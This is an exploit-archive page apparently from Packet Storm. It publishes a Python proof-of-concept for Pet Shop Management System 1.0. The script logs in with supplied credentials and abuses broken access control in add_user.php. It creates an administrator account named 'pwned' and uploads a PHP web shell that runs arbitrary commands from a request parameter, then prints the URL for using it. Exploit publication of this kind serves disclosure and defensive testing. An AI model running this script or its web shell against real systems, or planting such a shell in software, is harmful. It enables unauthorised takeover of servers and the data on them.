what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pet Shop Management System 1.0 Privilege Escalation / Shell Upload

Pet Shop Management System 1.0 Privilege Escalation / Shell Upload
Posted Oct 4, 2021
Authored by Oscar Gutierrez

Pet Shop Management System version 1.0 suffers from privilege escalation and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability
SHA-256 | abef648d07fa476965ff52c8f9b813211d1cedf8b5428340a5a9fddc13a24202

Pet Shop Management System 1.0 Privilege Escalation / Shell Upload

Change Mirror Download
#!/usr/bin/python3
# Exploit Title: Pet Shop Management System v1.0 - Authenticated Privilege Escalation to Remote Code Execution
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 01, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/nelzkie15/petshop_management_system.zip
# Tested on: Ubuntu 20.04.2, Apache, Mysql
# Vendor: nelzkie15
# Version: v1.0
# Exploit Description:
# Pet Shop Management System v1.0 suffers from a broken access control vulnerability (IDOR) in user.php and usergroup.php that allows an authenticated attacker to add and modify users and user control rules. Additionally, Pet Shop Management System v1.0 suffers from multiple arbitrary file uploads that allow an authenticated attacker to upload malicious php files, thus making remote code execution possible which results in full compromise of the application.

import requests
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('-u','--user', help='Username to login', required=True)
parser.add_argument('-p','--password', help='Password to login', required=True)
parser.add_argument('-t','--target', help='Target to attack example: target.com', required=True)
args = parser.parse_args()
proxies = {"http": "http://192.168.0.195:8081", "https": "http://192.168.0.195:8081"}
target = "http://%s/Petshop_Management_System/" % args.target

def h4x(user, password, target):
print("[*] Loging into target...\n")
r = requests.Session()
data = {'username':args.user,'password':args.password,'status':'Active'}
response = r.post(url=target + 'controllers/login-user.php', data=data, proxies=proxies )
response = r.get(url=target + '/main-customer.php',proxies=proxies)
if "Welcome !" in response.text:
print('[*] Login succesful\n')
print('[*] Creating Malcious User...\n')
files = [
('avatar',('pwned.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream')),
('full_name',(None,'pwned')),
('username',(None,'pwned')),
('password',(None,'pwned123')),
('contact',(None,'pwned')),
('email',(None,'pwned@pwned.com')),
('user_category',(None,'administrator')),
('status',(None,'Active'))
]
uploadShell = r.post(url=target + 'controllers/add_user.php', files=files, proxies=proxies)
if 'Add User Successfully!' in uploadShell.text:
print('[*] Application compromised! Navigate to : ' + target + 'user_uploads/pwned.php?cmd=whoami')

h4x(args.user, args.password, target)








Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close